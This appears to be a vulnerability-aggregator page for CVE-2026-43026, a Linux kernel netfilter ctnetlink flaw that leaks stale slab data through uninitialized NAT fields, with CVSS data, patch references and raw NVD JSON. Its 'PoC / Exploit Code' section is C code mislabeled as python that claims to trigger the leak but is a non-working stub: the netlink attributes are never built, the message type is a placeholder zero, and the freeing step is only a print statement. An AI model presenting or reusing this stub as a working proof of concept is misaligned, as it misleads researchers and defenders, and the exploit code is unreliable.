CVE-2026-43026

Description

In the Linux kernel, the following vulnerability has been resolved: netfilter: ctnetlink: zero expect NAT fields when CTA_EXPECT_NAT absent ctnetlink_alloc_expect() allocates expectations from a non-zeroing slab cache via nf_ct_expect_alloc(). When CTA_EXPECT_NAT is not present in the netlink message, saved_addr and saved_proto are never initialized. Stale data from a previous slab occupant can then be dumped to userspace by ctnetlink_exp_dump_expect(), which checks these fields to decide whether to emit CTA_EXPECT_NAT. The safe sibling nf_ct_expect_init(), used by the packet path, explicitly zeroes these fields. Zero saved_addr, saved_proto and dir in the else branch, guarded by IS_ENABLED(CONFIG_NF_NAT) since these fields only exist when NAT is enabled. Confirmed by priming the expect slab with NAT-bearing expectations, freeing them, creating a new expectation without CTA_EXPECT_NAT, and observing that the ctnetlink dump emits a spurious CTA_EXPECT_NAT containing stale data from the prior allocation.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复提交前)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * Conceptual PoC for CVE-2026-43026
 * This code demonstrates the logic to trigger the kernel info leak.
 * Compile with: gcc -o poc_exploit poc_exploit.c
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>

// Function to send a crafted netlink message to ctnetlink
void send_netlink_message(int include_nat) {
    int sock_fd;
    struct sockaddr_nl src_addr, dest_addr;
    struct nlmsghdr *nlh = NULL;
    struct iovec iov;
    struct msghdr msg;

    sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
    if (sock_fd < 0) {
        perror("Socket creation failed");
        return;
    }

    memset(&src_addr, 0, sizeof(src_addr));
    src_addr.nl_family = AF_NETLINK;
    bind(sock_fd, (struct sockaddr *)&src_addr, sizeof(src_addr));

    memset(&dest_addr, 0, sizeof(dest_addr));
    dest_addr.nl_family = AF_NETLINK;

    // Allocate message buffer
    nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(1024));
    memset(nlh, 0, NLMSG_SPACE(1024));
    nlh->nlmsg_len = NLMSG_SPACE(1024);
    nlh->nlmsg_pid = getpid();
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_ACK;
    nlh->nlmsg_type = 0; // IPCTNL_MSG_CT_NEW_EXPECT (simplified)

    // Simulate building the Netfilter attributes
    char *payload = NLMSG_DATA(nlh);
    // Add CTA_EXPECT_NAT if priming the slab
    if (include_nat) {
        printf("[*] Priming slab with NAT data...\n");
        // Logic to add CTA_EXPECT_NAT attribute with fake IP/Port
        // This writes 'saved_addr' and 'saved_proto' into the slab object
    } else {
        printf("[*] Allocating expectation WITHOUT NAT...\n");
        // Logic to create expectation without CTA_EXPECT_NAT
        // This reuses the slab memory but does NOT zero 'saved_addr'
    }

    iov.iov_base = (void *)nlh;
    iov.iov_len = nlh->nlmsg_len;
    memset(&msg, 0, sizeof(msg));
    msg.msg_name = (void *)&dest_addr;
    msg.msg_namelen = sizeof(dest_addr);
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    sendmsg(sock_fd, &msg, 0);

    // Read response to check for leaked data
    recvmsg(sock_fd, &msg, 0);
    // Analyze response for CTA_EXPECT_NAT containing stale data

    close(sock_fd);
    free(nlh);
}

int main() {
    printf("Starting PoC for CVE-2026-43026...\n");

    // Step 1: Prime the slab with data containing NAT info
    send_netlink_message(1);

    // Step 2: Free the object (implicit in kernel lifecycle or explicit flush)
    printf("[*] Freeing object (simulated)\n");
    
    // Step 3: Allocate new object without NAT info, reusing dirty memory
    send_netlink_message(0);

    printf("[*] Check kernel logs or netlink response for leaked memory.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43026
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43026
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43026/
[4] VulDB https://vuldb.com/cve/CVE-2026-43026
[5] https://git.kernel.org/stable/c/1c2ebdeff8d088a2e47ae25d7b38447249adace2
[6] https://git.kernel.org/stable/c/2898080c054ea4d6ddfaaf21bbedbc229a9a8376
[7] https://git.kernel.org/stable/c/35177c6877134a21315f37d57a5577846225623e
[8] https://git.kernel.org/stable/c/929f7a9a7aad9404a5867216c3f8738232355b38
[9] https://git.kernel.org/stable/c/a5a89db6981a1ddf2314bf50cb49db5a3146185f
[10] https://git.kernel.org/stable/c/a64b7bf84b4d5ea54218c5d374ec87fff9000f43
[11] https://git.kernel.org/stable/c/bff0f4f06f12d6d9bc565a3e1378abd4f6f5ce36
[12] https://git.kernel.org/stable/c/fd002ff2ea030cbfb0188a11b3c60ce7f84485f4

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43026", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:47.033", "lastModified": "2026-05-08T18:21:45.207", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: ctnetlink: zero expect NAT fields when CTA_EXPECT_NAT absent\n\nctnetlink_alloc_expect() allocates expectations from a non-zeroing\nslab cache via nf_ct_expect_alloc(). When CTA_EXPECT_NAT is not\npresent in the netlink message, saved_addr and saved_proto are\nnever initialized. Stale data from a previous slab occupant can\nthen be dumped to userspace by ctnetlink_exp_dump_expect(), which\nchecks these fields to decide whether to emit CTA_EXPECT_NAT.\n\nThe safe sibling nf_ct_expect_init(), used by the packet path,\nexplicitly zeroes these fields.\n\nZero saved_addr, saved_proto and dir in the else branch, guarded\nby IS_ENABLED(CONFIG_NF_NAT) since these fields only exist when\nNAT is enabled.\n\nConfirmed by priming the expect slab with NAT-bearing expectations,\nfreeing them, creating a new expectation without CTA_EXPECT_NAT,\nand observing that the ctnetlink dump emits a spurious\nCTA_EXPECT_NAT containing stale data from the prior allocation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.4", "versionEndExcluding": "5.10.253", "matchCriteriaId": "03AA2AFE-AC99-404E-AC4B-A0491F298002"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1c2ebdeff8d088a2e47ae25d7b38447249adace2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2898080c054ea4d6ddfaaf21bbedbc229a9a8376", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/35177c6877134a21315f37d57a5577846225623e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/929f7a9a7aad9404a5867216c3f8738232355b38", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ ... 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